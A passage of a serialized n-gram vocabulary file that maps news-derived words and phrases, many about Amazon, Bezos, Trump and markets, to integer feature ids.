\"woodwork\": 141058,\n  \"1984 warns\": 141059,\n  \"major regulatory\": 141060,\n  \"pound nearly\": 141061,\n  \"9pm\": 141062,\n  \"microsoft motorola\": 141063,\n  \"stifle western\": 141064,\n  \"employer definition\": 141065,\n  \"finance companies\": 141066,\n  \"create privacy\": 141067,\n  \"illegally obtaining\": 141068,\n  \"begun 2018\": 141069,\n  \"jon moeller\": 141070,\n  \"workers makes\": 141071,\n  \"smackdowns trump\": 141072,\n  \"increasingly frustrated\": 141073,\n  \"smart watch\": 141074,\n  \"unanimous\": 141075,\n  \"nostolgic chia\": 141076,\n  \"sensational content\": 141077,\n  \"strongly disapprove\": 141078,\n  \"city join\": 141079,\n  \"solely amazon\": 141080,\n  \"circulated action\": 141081,\n  \"smoothly\": 141082,\n  \"cheaper potentially\": 141083,\n  \"produce food\": 141084,\n  \"constellation known\": 141085,\n  \"globes\": 141086,\n  \"doing today\": 141087,\n  \"jovan\": 141088,\n  \"packages haven\": 141089,\n  \"james carville\": 141090,\n  \"positive discussions\": 141091,\n  \"question jeff\": 141092,\n  \"states rights\": 141093,\n  \"gop voter\": 141094,\n  \"having turned\": 141095,\n  \"fedex cfo\": 141096,\n  \"insider purchases\": 141097,\n  \"case high\": 141098,\n  \"remove distortions\": 141099,\n  \"best kitchen\": 141100,\n  \"multiple media\": 141101,\n  \"attached small\": 141102,\n  \"amazon managers\": 141103,\n  \"union sotu\": 141104,\n  \"workers tell\": 141105,\n  \"extreme inequality\": 141106,\n  \"object o2x\": 141107,\n  \"trial attorney\": 141108,\n  \"penalty don\": 141109,\n  \"44bil\": 141110,\n  \"schumer announces\": 141111,\n  \"losing control\": 141112,\n  \"sellers huge\": 141113,\n  \"alike recommendations\": 141114,\n  \"launching firecracker\": 141115,\n  \"president acting\": 141116,\n  \"envelopes hitting\": 141117,\n  \"da ea\": 141118,\n  \"security guards\": 141119,\n  \"constructive conversations\": 141120,\n  \"weren abramson\": 141121,\n  \"really thought\": 141122,\n  \"vote senator\": 141123,\n  \"face matches\": 141124,\n  \"power comcast\": 141125,\n  \"pivotal figure\": 141126,\n  \"military bureaucrat\": 141127,\n  \"popular version\": 141128,\n  \"confidence consumer\": 141129,\n  \"gerald suddenly\": 141130,\n  \"hill staffer\": 141131,\n  \"latinx rights\": 141132,\n  \"amazon presents\": 141133,\n  \"adjoining explanations\": 141134,\n  \"chinese assembled\": 141135,\n  \"writes trump\": 141136,\n  \"unmatched global\": 141137,\n  \"birmingham sent\": 141138,\n  \"day parade\": 141139,\n  \"companies excused\": 141140,\n  \"today email\": 141141,\n  \"pro amazon\": 141142,\n  \"guaranteed flat\": 141143,\n  \"condemnation\": 141144,\n  \"report concede\": 141145,\n  \"city socialists\": 141146,\n  \"fcc net\": 141147,\n  \"chief james\": 141148,\n  \"chris mccorkle\": 141149,\n  \"sourcelord\": 141150,\n  \"mistake memo\": 141151,\n  \"corn producer\": 141152,\n  \"bezos status\": 141153,\n  \"scotus won\": 141154,\n  \"dabeard\": 141155,\n  \"key role\": 141156,\n  \"proactively police\": 141157,\n  \"company bestsellers\": 141158,\n  \"tensions appear\": 141159,\n  \"sustain production\": 141160,\n  \"taking possession\": 141161,\n  \"joint plan\": 141162,\n  \"scathing articles\": 141163,\n  \"press briefing\": 141164,\n  \"heartless\": 141165,\n  \"slow big\": 141166,\n  \"sanders sen\": 141167,\n  \"greek\": 141168,\n  \"fedexforum\": 141169,\n  \"queen\": 141170,\n  \"israel boycott\": 141171,\n  \"conduct formal\": 141172,\n  \"loudspeakers playing\": 141173,\n  \"badly need\": 141174,\n  \"deliver russia\": 141175,\n  \"sources indicate\": 141176,\n  \"cummings trump\": 141177,\n  \"tariffs confidential\": 141178,\n  \"preceding\": 141179,\n  \"agree corporations\": 141180,\n  \"service agreement\": 141181,\n  \"costco company\": 141182,\n  \"jarrett legal\": 141183,\n  \"specifically cite\": 141184,\n  \"major internet\": 141185,\n  \"frida kahlo\": 141186,\n  \"registered democrats\": 141187,\n  \"page slides\": 141188,\n  \"featuring white\": 141189,\n  \"presenting evidence\": 141190,\n  \"drugs\": 141191,\n  \"camps 2017\": 141192,\n  \"shining twins\": 141193,\n  \"ashoka\": 141194,\n  \"view streams\": 141195,\n  \"lewinsky interview\": 141196,\n  \"success stop\": 141197,\n  \"agriculture department\": 141198,\n  \"051\": 141199,\n  \"rocket fuel\": 141200,\n  \"kitcheniq\": 141201,\n  \"republican general\": 141202,\n  \"china mexico\": 141203,\n  \"scarborough mccain\": 141204,\n  \"pure altruism\": 141205,\n  \"enforcement powers\": 141206,\n  \"city poverty\": 141207,\n  \"remarkable public\": 141208,\n  \"kj6afdqzl7\": 141209,\n  \"heroes don\": 141210,\n  \"biggest fear\": 141211,\n  \"series pinnacle\": 141212,\n  \"country placed\": 141213,\n  \"tours\": 141214,\n  \"styles section\": 141215,\n  \"including protracted\": 141216,\n  \"exercises\": 141217,\n  \"publishes digitally\": 141218,\n  \"statement bet\": 141219,\n  \"orbit felt\": 141220,\n  \"covers damage\": 141221,\n  \"party retailers\": 141222,\n  \"huge market\": 141223,\n  \"kept chugging\": 141224,\n  \"market letters\": 141225,\n  \"joel mcnally\": 141226,\n  \"sooter\": 141227,\n  \"warning notably\": 141228,\n  \"issued guidance\": 141229,\n  \"tongue\": 141230,\n  \"amazon beachhead\": 141231,\n  \"tjv previously\": 141232,\n  \"skit addressed\": 141233,\n  \"loved emily\": 141234,\n  \"photo indystar\": 141235,\n  \"comparative\": 141236,\n  \"tm holdings\": 141237,\n  \"money4\": 141238,\n  \"bury damaging\": 141239,\n  \"small overlap\": 141240,\n  \"soldiers\": 141241,\n  \"news leader\": 141242,\n  \"deals link\": 141243,\n  \"profit thing\": 141244,\n  \"sally draper\": 141245,\n  \"enjoyed scandal\": 141246,\n  \"talking chaos\": 141247,\n  \"related suit\": 141248,\n  \"approved process\": 141249,\n  \"progressives poised\": 141250,\n  \"right democratic\": 141251,\n  \"trends oil\": 141252,\n  \"bishop michael\": 141253,\n  \"builds tech\": 141254,\n  \"cuts believe\": 141255,\n  \"exposure risk\": 141256,\n  \"avoid saying\": 141257,\n  \"master hale\": 141258,\n  \"vast digital\": 141259,\n  \"analyst says\": 141260,\n  \"dow plunges\": 141261,\n  \"macron walked\": 141262,\n  \"elder named\": 141263,\n  \"little tl\": 141264,\n  \"giant oracle\": 141265,\n  \"amazon amazing\": 141266,\n  \"verify work\": 141267,\n  \"characters fighting\": 141268,\n  \"better 2018\": 141269,\n  \"kindle edition\": 141270,\n  \"ex worker\": 141271,\n  \"lead napolitano\": 141272,\n  \"bland statements\": 141273,\n  \"prime bundling\": 141274,\n  \"send treasury\": 141275,\n  \"island delegation\": 141276,\n  \"39th district\": 141277,\n  \"friends trump\": 141278,\n  \"hurt kam\": 141279,\n  \"mail facility\": 141280,\n  \"year requires\": 141281,\n  \"affair\": 141282,\n  \"legal limits\": 141283,\n  \"wapo matt\": 141284,\n  \"sales run\": 141285,\n  \"smirking\": 141286,\n  \"jokes\": 141287,\n  \"merely makes\": 141288,\n  \"stoped\": 141289,\n  \"list tariffs\": 141290,\n  \"defined fascism\": 141291,\n  \"demanded documents\": 141292,\n  \"shares slipped\": 141293,\n  \"longer grounded\": 141294,\n  \"collins decision\": 141295,\n  \"price wrote\": 141296,\n  \"kroger recent\": 141297,\n  \"se writer\": 141298,\n  \"government housing\": 141299,\n  \"share buyback\": 141300,\n  \"legal profession\": 141301,\n  \"available available\": 141302,\n  \"campaign washington\": 141303,\n  \"twist radic\": 141304,\n  \"sidestepped\": 141305,\n  \"helped fund\": 141306,\n  \"legal precedent\": 141307,\n  \"trump supporters\": 141308,\n  \"ears\": 141309,\n  \"mighty\": 141310,\n  \"apparent\": 141311,\n  \"potentially counterfeit\": 141312,\n  \"a4ee r1\": 141313,\n  \"verify participating\": 141314,\n  \"cohosting\": 141315,\n  \"school diplomas\": 141316,\n  \"fared\": 141317,\n  \"liar loan\": 141318,\n  \"unveil new\": 141319,\n  \"twitter posted\": 141320,\n  \"genesis mini\": 141321,\n  \"days ahead\": 141322,\n  \"strike impacted\": 141323,\n  \"outdoor products\": 141324,\n  \"resigns greenland\": 141325,\n  \"surveillance overlord\": 141326,\n  \"streeteasy\": 141327,\n  \"kathy gannon\": 141328,\n  \"old grandmother\": 141329,\n  \"heaven afro\": 141330,\n  \"clean water\": 141331,\n  \"chef competition\": 141332,\n  \"president religious\": 141333,\n  \"discourse regarding\": 141334,\n  \"2016 hoverboard\": 141335,\n  \"redstone\": 141336,\n  \"robinhood\": 141337,\n  \"ali amicaali\": 141338,\n  \"wields leverage\": 141339,\n  \"bic pocket\": 141340,\n  \"value decided\": 141341,\n  \"regional law\": 141342,\n  \"seung\": 141343,\n  \"cabinet room\": 141344,\n  \"flub\": 141345,\n  \"mark apple\": 141346,\n  \"new houses\": 141347,\n  \"attacks reached\": 141348,\n  \"incorporate\": 141349,\n  \"cranky\": 141350,\n  \"evacuation\": 141351,\n  \"scooter\": 141352,\n  \"tower following\": 141353,\n  \"trailed\": 141354,\n  \"newon\": 141355,\n  \"president set\": 141356,\n  \"cnn collusion\": 141357,\n  \"john heinzls\": 141358,\n  \"screenx\": 141359,\n  \"donnelly violated\": 141360,\n  \"numerous cloud\": 141361,\n  \"headlineposttext headlinepretext\": 141362,\n  \"strict\": 141363,\n  \"isis major\": 141364,\n  \"nether reaches\": 141365,\n  \"critical tweet\": 141366,\n  \"categories says\": 141367,\n  \"countryside\": 141368,\n  \"marketers including\": 141369,\n  \"faulkner\": 141370,\n  \"learn time\": 141371,\n  \"fm faces\": 141372,\n  \"legal infrastructure\": 141373,\n  \"policy justifications\": 141374,\n  \"greater scrutiny\": 141375,\n  \"olay skin\": 141376,\n  \"device misinterpreting\": 141377,\n  \"enabled jobs\": 141378,\n  \"2016 journalist\": 141379,\n  \"quipping\": 141380,\n  \"shifting amazon\": 141381,\n  \"german art\": 141382,\n  \"anti defamation\": 141383,\n  \"make strict\": 141384,\n  \"filmmagic\": 141385,\n  \"rival leaders\": 141386,\n  \"tax 2018\": 141387,\n  \"bat\": 141388,\n  \"talent acquisition\": 141389,\n  \"gibberish\": 141390,\n  \"does dsp\": 141391,\n  \"eve shows\": 141392,\n  \"campaigns totaling\": 141393,\n  \"2018 vanity\": 141394,\n  \"terrace extending\": 141395,\n  \"energy giants\": 141396,\n  \"girl embedded\": 141397,\n  \"copied wholesale\": 141398,\n  \"lovers netflix\": 141399,\n  \"honest\": 141400,\n  \"anangbhai\": 141401,\n  \"tpg\": 141402,\n  \"videocollectionid current_video_collection\": 141403,\n  \"coworking\": 141404,\n  \"growing prime\": 141405,\n  \"flatbed\": 141406,\n  \"kick field\": 141407,\n  \"2635\": 141408,\n  \"notes trade\": 141409,\n  \"detractors bezos\": 141410,\n  \"patrick harris\": 141411,\n  \"woodstock\": 141412,\n  \"general says\": 141413,\n  \"drug seller\": 141414,\n  \"icann spent\": 141415,\n  \"consuming parts\": 141416,\n  \"presidential twitter\": 141417,\n  \"morning respond\": 141418,\n  \"radio talk\": 141419,\n  \"national harbor\": 141420,\n  \"alibabas jack\": 141421,\n  \"vain\": 141422,\n  \"mozambique\": 141423,\n  \"honest today\": 141424,\n  \"agent meaning\": 141425,\n  \"couple play\": 141426,\n  \"language imports\": 141427,\n  \"weiss afp\": 141428,\n  \"jamie siminoff\": 141429,\n  \"worth plunged\": 141430,\n  \"graffiti chef\": 141431,\n  \"contractors walked\": 141432,\n  \"read kitchen\": 141433,\n  \"portfolio bryn\": 141434,\n  \"amar manzoor\": 141435,\n  \"azure maps\": 141436,\n  \"industry rattled\": 141437,\n  \"dangerously closer\": 141438,\n  \"conference announcement\": 141439,\n  \"120 36m\": 141440,\n  \"articleelem\": 141441,\n  \"charlottesville va\": 141442,\n  \"economic troubles\": 141443,\n  \"punish users\": 141444,\n  \"950 million\": 141445,\n  \"specific attacks\": 141446,\n  \"trump makes\": 141447,\n  \"matched\": 141448,\n  \"trump saving\": 141449,\n  \"point tumble\": 141450,\n  \"center new\": 141451,\n  \"goulding anup\": 141452,\n  \"republicans highlighted\": 141453,\n  \"030 shares\": 141454,\n  \"party whatsoever\": 141455,\n  \"2018 months\": 141456,\n  \"components mentioned\": 141457,\n  \"plans admit\": 141458,\n  \"guess\": 141459,\n  \"relations professor\": 141460,\n  \"hughes stock\": 141461,\n  \"anthem\": 141462,\n  \"comments login\": 141463,\n  \"markets 1531868602\": 141464,\n  \"gallup\": 141465,\n  \"debt woes\": 141466,\n  \"judge lorna\": 141467,\n  \"environment public\": 141468,\n  \"developer technology\": 141469,\n  \"cnl_contributor_accessflag\": 141470,\n  \"drives prices\": 141471,\n  \"bottles quick\": 141472,\n  \"xinhuanet\": 141473,\n  \"hard marvel\": 141474,\n  \"waters yes\": 141475,\n  \"instagram flipboard\": 141476,\n  \"video leaf\": 141477,\n  \"grievances bezos\": 141478,\n  \"lucian freud\": 141479,\n  \"dropper\": 141480,\n  \"eu reach\": 141481,\n  \"push pull\": 141482,\n  \"hiring 500\": 141483,\n  \"tenets\": 141484,\n  \"published rock\": 141485,\n  \"democratic vice\": 141486,\n  \"hornedo rowan\": 141487,\n  \"500 tennesseans\": 141488,\n  \"retailer according\": 141489,\n  \"ongoing relationship\": 141490,\n  \"purchase data\": 141491,\n  \"210\": 141492,\n  \"story kudlow\": 141493,\n  \"sens jeanne\": 141494,\n  \"budgetary\": 141495,\n  \"release gdp\": 141496,\n  \"icann board\": 141497,\n  \"daniel glass\": 141498,\n  \"gao study\": 141499,\n  \"amazon unfeasible\": 141500,\n  \"lackey\": 141501,\n  \"cisco stock\": 141502,\n  \"multiple cities\": 141503,\n  \"podcasting\": 141504,\n  \"companies claims\": 141505,\n  \"service sfb\": 141506,\n  \"soil rivers\": 141507,\n  \"closing bell\": 141508,\n  \"impatient\": 141509,\n  \"online feud\": 141510,\n  \"lines positions\": 141511,\n  \"current crop\": 141512,\n  \"managers experts\": 141513,\n  \"tabloid runs\": 141514,\n  \"drama including\": 141515,\n  \"rampback gives\": 141516,\n  \"open data\": 141517,\n  \"burger\": 141518,\n  \"trump shutdown\": 141519,\n  \"avoided investing\": 141520,\n  \"workers receiving\": 141521,\n  \"checks cash\": 141522,\n  \"violent protests\": 141523,\n  \"heart attacks\": 141524,\n  \"help push\": 141525,\n  \"demands tell\": 141526,\n  \"kullgren\": 141527,\n  \"evidently lot\": 141528,\n  \"lofty 282\": 141529,\n  \"4gb\": 141530,\n  \"expert thank\": 141531,\n  \"2016 despite\": 141532,\n  \"employees companies\": 141533,\n  \"health addressed\": 141534,\n  \"john prehensileman\": 141535,\n  \"selling counterfeits\": 141536,\n  \"normally exerted\": 141537,\n  \"cancel trump\": 141538,\n  \"nolan\": 141539,\n  \"desperation grow\": 141540,\n  \"enquirer leak\": 141541,\n  \"expert advice\": 141542,\n  \"esl investments\": 141543,\n  \"youthful buffett\": 141544,\n  \"overheated expectations\": 141545,\n  \"trump withdrew\": 141546,\n  \"rep paul\": 141547,\n  \"founders sergey\": 141548,\n  \"terribly fact\": 141549,\n  \"varying lighting\": 141550,\n  \"jedi deal\": 141551,\n  \"government workers\": 141552,\n  \"story new\": 141553,\n  \"releasing home\": 141554,\n  \"jail time\": 141555,\n  \"companies missing\": 141556,\n  \"bulwark\": 141557,\n  \"armstrong slightly\": 141558,\n  \"underestimating amazon\": 141559,\n  \"szklarski thecanadianpress\": 141560,\n  \"billionaire rankings\": 141561,\n  \"probably fairly\": 141562,\n  \"reliant children\": 141563,\n  \"stop robotexts\": 141564,\n  \"portfolio according\": 141565,\n  \"web measurement\": 141566,\n  \"page warrant\": 141567,\n  \"steep price\": 141568,\n  \"various industries\": 141569,\n  \"gain unfair\": 141570,\n  \"2017 rourke\": 141571,\n  \"lasership\": 141572,\n  \"pentagon final\": 141573,\n  \"schiraldi\": 141574,\n  \"face facebook\": 141575,\n  \"deal isn\": 141576,\n  \"noah bookbinder\": 141577,\n  \"post literal\": 141578,\n  \"businesses delivering\": 141579,\n  \"rubinstein asked\": 141580,\n  \"enquirer secured\": 141581,\n  \"president right\": 141582,\n  \"business trends\": 141583,\n  \"amazon probe\": 141584,\n  \"ethical issues\": 141585,\n  \"city breaking\": 141586,\n  \"repeats\": 141587,\n  \"cities want\": 141588,\n  \"150\": 141589,\n  \"largest greenfield\": 141590,\n  \"nervous mark\": 141591,\n  \"debases\": 141592,\n  \"bezos jeffbezos\": 141593,\n  \"lead primary\": 141594,\n  \"russia waged\": 141595,\n  \"tennessee\": 141596,\n  \"operational improvements\": 141597,\n  \"telcos certainly\": 141598,\n  \"amazon reliance\": 141599,\n  \"released according\": 141600,\n  \"knockout\": 141601,\n  \"forward jeff\": 141602,\n  \"nearly 140\": 141603,\n  \"think aetna\": 141604,\n  \"economic bullets\": 141605,\n  \"exempting\": 141606,\n  \"record canada\": 141607,\n  \"s3 public\": 141608,\n  \"hidden gems\": 141609,\n  \"massive mineral\": 141610,\n  \"400 stores\": 141611,\n  \"lock people\": 141612,\n  \"502\": 141613,\n  \"theory moved\": 141614,\n  \"chef eddie\": 141615,\n  \"talbot spokesman\": 141616,\n  \"new lives\": 141617,\n  \"monopo amazon\": 141618,\n  \"reports maybe\": 141619,\n  \"election time\": 141620,\n  \"trump reddit\": 141621,\n  \"production\": 141622,\n  \"planet geekwire\": 141623,\n  \"bills trump\": 141624,\n  \"bhutanese\": 141625,\n  \"wringer\": 141626,\n  \"story sears\": 141627,\n  \"trump directing\": 141628,\n  \"startup thinks\": 141629,\n  \"gaetz congressman\": 141630,\n  \"6814\": 141631,\n  \"major direct\": 141632,\n  \"king claims\": 141633,\n  \"bashes counter\": 141634,\n  \"final day\": 141635,\n  \"abuses caused\": 141636,\n  \"origin race\": 141637,\n  \"reporter earlier\": 141638,\n  \"economy companies\": 141639,\n  \"entered retail\": 141640,\n  \"microsoft respectively\": 141641,\n  \"pot trades\": 141642,\n  \"beautifully laid\": 141643,\n  \"horizon don\": 141644,\n  \"twitter youtube\": 141645,\n  \"startup slump\": 141646,\n  \"schmitt director\": 141647,\n  \"bank warns\": 141648,\n  \"peace park\": 141649,\n  \"saved hal\": 141650,\n  \"computing entity\": 141651,\n  \"smith icymi\": 141652,\n  \"burning money\": 141653,\n  \"preparation containing\": 141654,\n  \"believe amazon\": 141655,\n  \"virigina\": 141656,\n  \"problems implying\": 141657,\n  \"news just\": 141658,\n  \"buyouts\": 141659,\n  \"journal coverage\": 141660,\n  \"california storm\": 141661,\n  \"jordon 168\": 141662,\n  \"mars sign\": 141663,\n  \"pushing legislation\": 141664,\n  \"daniel huttenlocher\": 141665,\n  \"crude continued\": 141666,\n  \"yesterday statements\": 141667,\n  \"berkshires\": 141668,\n  \"okcupid\": 141669,\n  \"listen closely\": 141670,\n  \"make sanctuary\": 141671,\n  \"photos national\": 141672,\n  \"estate carell\": 141673,\n  \"special elections\": 141674,\n  \"great innovations\": 141675,\n  \"societal thing\": 141676,\n  \"poster boy\": 141677,\n  \"chukumba told\": 141678,\n  \"salles brazilian\": 141679,\n  \"storm pelosi\": 141680,\n  \"make usps\": 141681,\n  \"rip apart\": 141682,\n  \"sanderson\": 141683,\n  \"capitulating\": 141684,\n  \"offers customers\": 141685,\n  \"memes pic\": 141686,\n  \"alexa listening\": 141687,\n  \"worth total\": 141688,\n  \"publication coverage\": 141689,\n  \"eurotrip challenge\": 141690,\n  \"labor silicon\": 141691,\n  \"728 social\": 141692,\n  \"hernandez sport\": 141693,\n  \"voracious users\": 141694,\n  \"don turner\": 141695,\n  \"twitter ire\": 141696,\n  \"best thriller\": 141697,\n  \"prerecorded voice\": 141698,\n  \"smartphone sales\": 141699,\n  \"days report\": 141700,\n  \"disability\": 141701,\n  \"noted amazon\": 141702,\n  \"moratorium rules\": 141703,\n  \"m3\": 141704,\n  \"rampaging right\": 141705,\n  \"optimism\": 141706,\n  \"shooting chase\": 141707,\n  \"enemy satan\": 141708,\n  \"molly yeh\": 141709,\n  \"packing rates\": 141710,\n  \"feature trump\": 141711,\n  \"bicycles\": 141712,\n  \"slr\": 141713,\n  \"riese does\": 141714,\n  \"yitzhak intraif\": 141715,\n  \"climbs\": 141716,\n  \"rushmore\": 141717,\n  \"additional comments\": 141718,\n  \"merchants deal\": 141719,\n  \"van fleets\": 141720,\n  \"copyrights\": 141721,\n  \"industry quite\": 141722,\n  \"ers\": 141723,\n  \"day paterson\": 141724,\n  \"strategies\": 141725,\n  \"upbringing jerrelle\": 141726,\n  \"famously alleged\": 141727,\n  \"fact checks\": 141728,\n  \"regulation pertaining\": 141729,\n  \"manchester new\": 141730,\n  \"public corporations\": 141731,\n  \"second corporate\": 141732,\n  \"major delivery\": 141733,\n  \"reo reservoir\": 141734,\n  \"lacerda moody\": 141735,\n  \"ensnared trump\": 141736,\n  \"barely scratched\": 141737,\n  \"liberate\": 141738,\n  \"decades federal\": 141739,\n  \"acosta spoke\": 141740,\n  \"dive insight\": 141741,\n  \"calebecarma\": 141742,\n  \"seller 1_5\": 141743,\n  \"investors entertaining\": 141744,\n  \"zappos foto\": 141745,\n  \"initially lower\": 141746,\n  \"health ceo\": 141747,\n  \"descriptions\": 141748,\n  \"wrong version\": 141749,\n  \"paying steep\": 141750,\n  \"chop shop\": 141751,\n  \"michael lauren\": 141752,\n  \"reese peanut\": 141753,\n  \"agreement weren\": 141754,\n  \"anticipated amc\": 141755,\n  \"systematic global\": 141756,\n  \"logistics competitive\": 141757,\n  \"steep losses\": 141758,\n  \"ihs\": 141759,\n  \"acre building\": 141760,\n  \"deterrence\": 141761,\n  \"greatest hostage\": 141762,\n  \"began reviewing\": 141763,\n  \"including mrc\": 141764,\n  \"getting taxed\": 141765,\n  \"center left\": 141766,\n  \"businesses public\": 141767,\n  \"contracting world\": 141768,\n  \"ecstatic sailor\": 141769,\n  \"icbm testing\": 141770,\n  \"jaunt\": 141771,\n  \"nast\": 141772,\n  \"apple ended\": 141773,\n  \"time simplify\": 141774,\n  \"clark told\": 141775,\n  \"achieving higher\": 141776,\n  \"lindsay walters\": 141777,\n  \"civility wasn\": 141778,\n  \"persistent attacks\": 141779,\n  \"new freshmen\": 141780,\n  \"efforts toys\": 141781,\n  \"specialty drugs\": 141782,\n  \"bezos steamy\": 141783,\n  \"policy source\": 141784,\n  \"pandering\": 141785,\n  \"threats caused\": 141786,\n  \"workforce say\": 141787,\n  \"trump distort\": 141788,\n  \"hold overseas\": 141789,\n  \"similar style\": 141790,\n  \"sellers yielded\": 141791,\n  \"miracle economy\": 141792,\n  \"request uncovered\": 141793,\n  \"gilt dropped\": 141794,\n  \"did american\": 141795,\n  \"dethrone rep\": 141796,\n  \"tony dwyer\": 141797,\n  \"taking advantage\": 141798,\n  \"model donald\": 141799,\n  \"tech process\": 141800,\n  \"africa amazon\": 141801,\n  \"albany nick\": 141802,\n  \"quarter usps\": 141803,\n  \"new diesel\": 141804,\n  \"legal fight\": 141805,\n  \"genny ryan\": 141806,\n  \"host resource\": 141807,\n  \"viacom upgrade\": 141808,\n  \"products german\": 141809,\n  \"produce lcd\": 141810,\n  \"access critical\": 141811,\n  \"instagram alex\": 141812,\n  \"paularmstrongtech\": 141813,\n  \"eventually rose\": 141814,\n  \"media ability\": 141815,\n  \"potsof money\": 141816,\n  \"collecting funds\": 141817,\n  \"cca\": 141818,\n  \"eventual transport\": 141819,\n  \"stop donating\": 141820,\n  \"frankly taxes\": 141821,\n  \"kyushu\": 141822,\n  \"products read\": 141823,\n  \"alibaba accomplished\": 141824,\n  \"877 billion\": 141825,\n  \"sunset boulevard\": 141826,\n  \"served cold\": 141827,\n  \"common job\": 141828,\n  \"technology manufacturing\": 141829,\n  \"bezos having\": 141830,\n  \"took particular\": 141831,\n  \"greed bezos\": 141832,\n  \"custody science\": 141833,\n  \"worldwide\\u0430before famously\\u0430receiving\": 141834,\n  \"report later\": 141835,\n  \"i9 i9\": 141836,\n  \"facebook employees\": 141837,\n  \"unicorn riding\": 141838,\n  \"solo\": 141839,\n  \"bezos hinted\": 141840,\n  \"etf 2019\": 141841,\n  \"seen double\": 141842,\n  \"novel concept\": 141843,\n  \"dannyzuker\": 141844,\n  \"kyle huebner\": 141845,\n  \"wise charlotte\": 141846,\n  \"sacrifice cult\": 141847,\n  \"achieving better\": 141848,\n  \"year ms\": 141849,\n  \"help ensure\": 141850,\n  \"predatory tactics\": 141851,\n  \"pacifica\": 141852,\n  \"making concerted\": 141853,\n  \"west compared\": 141854,\n  \"deal walker\": 141855,\n  \"early retirement\": 141856,\n  \"party stalwarts\": 141857,\n  \"\\u0142111million\": 141858,\n  \"rich\": 141859,\n  \"kambouris\": 141860,\n  \"giants html\": 141861,\n  \"start away\": 141862,\n  \"win middle\": 141863,\n  \"denied lighter\": 141864,\n  \"tech including\": 141865,\n  \"promote child\": 141866,\n  \"received poor\": 141867,\n  \"543 194\": 141868,\n  \"tweet appears\": 141869,\n  \"amazon changes\": 141870,\n  \"sector adding\": 141871,\n  \"sensors\": 141872,\n  \"trump crusader\": 141873,\n  \"terrorist attack\": 141874,\n  \"greater brand\": 141875,\n  \"francis think\": 141876,\n  \"driehaus stated\": 141877,\n  \"package systems\": 141878,\n  \"ecuador\": 141879,\n  \"hearing protest\": 141880,\n  \"trump warns\": 141881,\n  \"icontype video\": 141882,\n  \"market expectations\": 141883,\n  \"fellow business\": 141884,\n  \"declarations\": 141885,\n  \"400 billion\": 141886,\n  \"president rubenstein\": 141887,\n  \"fair marina\": 141888,\n  \"owners predicted\": 141889,\n  \"positive result\": 141890,\n  \"stock fell\": 141891,\n  \"ohio state\": 141892,\n  \"defense dept\": 141893,\n  \"faced financial\": 141894,\n  \"ousts president\": 141895,\n  \"celebrates special\": 141896,\n  \"recently sen\": 141897,\n  \"amazon 2019\": 141898,\n  \"labatt\": 141899,\n  \"reenacted star\": 141900,\n  \"carolina port\": 141901,\n  \"handle apple\": 141902,\n  \"want right\": 141903,\n  \"flowers arrived\": 141904,\n  \"capex\": 141905,\n  \"beijing bri\": 141906,\n  \"million patients\": 141907,\n  \"employee added\": 141908,\n  \"partnerships amazon\": 141909,\n  \"woodward expose\": 141910,\n  \"different holidays\": 141911,\n  \"engage\": 141912,\n  \"public discourse\": 141913,\n  \"diverted\": 141914,\n  \"change lower\": 141915,\n  \"list macy\": 141916,\n  \"fell lot\": 141917,\n  \"elections amazon\": 141918,\n  \"design tl\": 141919,\n  \"usps products\": 141920,\n  \"dispute stretching\": 141921,\n  \"average salary\": 141922,\n  \"department sent\": 141923,\n  \"moved west\": 141924,\n  \"suppression\": 141925,\n  \"beyer\": 141926,\n  \"toppled president\": 141927,\n  \"total sht\": 141928,\n  \"austin texas\": 141929,\n  \"tu rep\": 141930,\n  \"web bernie\": 141931,\n  \"arguably trump\": 141932,\n  \"answered week\": 141933,\n  \"edelman share\": 141934,\n  \"road tougher\": 141935,\n  \"faze\": 141936,\n  \"tumultuous week\": 141937,\n  \"avoid amazon\": 141938,\n  \"collapse families\": 141939,\n  \"discuss existing\": 141940,\n  \"political organizations\": 141941,\n  \"lockers allowing\": 141942,\n  \"belt selfies\": 141943,\n  \"ryan ori\": 141944,\n  \"recruiters love\": 141945,\n  \"principle 2018\": 141946,\n  \"flies routes\": 141947,\n  \"example tend\": 141948,\n  \"recently fled\": 141949,\n  \"jilted 236\": 141950,\n  \"commerce mogul\": 141951,\n  \"aq concept\": 141952,\n  \"quoting extensively\": 141953,\n  \"eliminating checkout\": 141954,\n  \"defense costs\": 141955,\n  \"kills\": 141956,\n  \"playmate\": 141957,\n  \"revenue benefits\": 141958,\n  \"battle hardened\": 141959,\n  \"litigated extensively\": 141960,\n  \"hope trade\": 141961,\n  \"products computers\": 141962,\n  \"wells fargo\": 141963,\n  \"better machines\": 141964,\n  \"sell employees\": 141965,\n  \"advertisement begins\": 141966,\n  \"year buzz60\": 141967,\n  \"simultaneously using\": 141968,\n  \"amazon flex\": 141969,\n  \"slumming\": 141970,\n  \"imitation game\": 141971,\n  \"celebrating amazon\": 141972,\n  \"mijente field\": 141973,\n  \"private fixers\": 141974,\n  \"posting missives\": 141975,\n  \"york bittersweet\": 141976,\n  \"stencil\": 141977,\n  \"accept people\": 141978,\n  \"john sam\": 141979,\n  \"compelling perk\": 141980,\n  \"davison\": 141981,\n  \"make wise\": 141982,\n  \"editor responsible\": 141983,\n  \"ravage entire\": 141984,\n  \"2017 repeat\": 141985,\n  \"big digital\": 141986,\n  \"palestinian\": 141987,\n  \"catz criticized\": 141988,\n  \"chain wegmans\": 141989,\n  \"calibre\": 141990,\n  \"196 jeff\": 141991,\n  \"kob monney\": 141992,\n  \"allowing faked\": 141993,\n  \"housing nycha\": 141994,\n  \"brazilians exclusive\": 141995,\n  \"gillibrand introduced\": 141996,\n  \"aesthetics personalized\": 141997,\n  \"seasonally strong\": 141998,\n  \"enthralling contest\": 141999,\n  \"herald staff\": 142000,\n  \"shirts scott\": 142001,\n  \"depletion loan\": 142002,\n  \"wynne told\": 142003,\n  \"onvideocarouselitemclicked\": 142004,\n  \"protesters gather\": 142005,\n  \"months contributed\": 142006,\n  \"offering desperate\": 142007,\n  \"added content\": 142008,\n  \"goods positioned\": 142009,\n  \"negative things\": 142010,\n  \"raise consumer\": 142011,\n  \"stockholders\": 142012,\n  \"media outlet\": 142013,\n  \"brewing trade\": 142014,\n  \"advantage mean\": 142015,\n  \"interpretations\": 142016,\n  \"edith honan\": 142017,\n  \"analyst karen\": 142018,\n  \"utils existsobject\": 142019,\n  \"refused trump\": 142020,\n  \"niles think\": 142021,\n  \"driven drama\": 142022,\n  \"michelle obama\": 142023,\n  \"attribute\": 142024,\n  \"payments manhattan\": 142025,\n  \"stories refn\": 142026,\n  \"sr\": 142027,\n  \"fiercely loyal\": 142028,\n  